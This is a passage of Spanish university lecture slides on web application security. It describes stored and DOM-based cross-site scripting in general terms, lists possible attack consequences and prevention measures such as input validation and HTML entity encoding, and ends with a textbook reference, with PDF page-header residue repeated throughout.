Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 59

Page 60: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Cross-site scripting almacenado

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 60

Page 61: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Cross-site scripting basado en DOM

I El servidor no transmite los datos del usuario de vuelta, peroen la pagina hay codigo Javascript que los toma de la URLpedida y los muestra con document.write().

I Ataque similar en parte a cross-site scripting reflejado.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 61

Page 62: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Cross-site scripting

I Posibles acciones de ataque:I Pintadas virtuales (defacement).I Inyeccion de troyanos y phishing.I Induccion de acciones por el usuario.I Aprovechar privilegios: captura de texto de la funcion

autocompletar, aplicaciones con restricciones de seguridadreducidas, uso fraudulento de controles ActiveX.

I Escalado del ataque en el lado del cliente: captura de teclado,historial de navegacion, escaneo de puertos en la red local delusuario, etc.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 62

Page 63: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Prevencion de cross-site scripting

I Validar la entrada del usuario:I Restricciones de longitud, conjunto de caracteres, expresiones

regulares.

I Validar la salida:I Reemplazo de caracteres reservados de HTML por referencias

a entidades.I Eliminar puntos peligrosos de insercion (codigo Javascript,

cabeceras de HTTP, atributos de elementos HTML).I Donde el usuario pueda editar HTML, limitar las marcas que

pueda utilizar o utilizar lenguajes de marcas alternativos.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 63

Page 64: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Referencias

I Dafydd Stuttard, Marcus Pinto. The Web ApplicationHacker’s Handbook. 2nd ed. John Wiley & Sons

I Acceso en SafariI Capıtulos 1, 5, 6, 7, 8, 9 y 12.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 64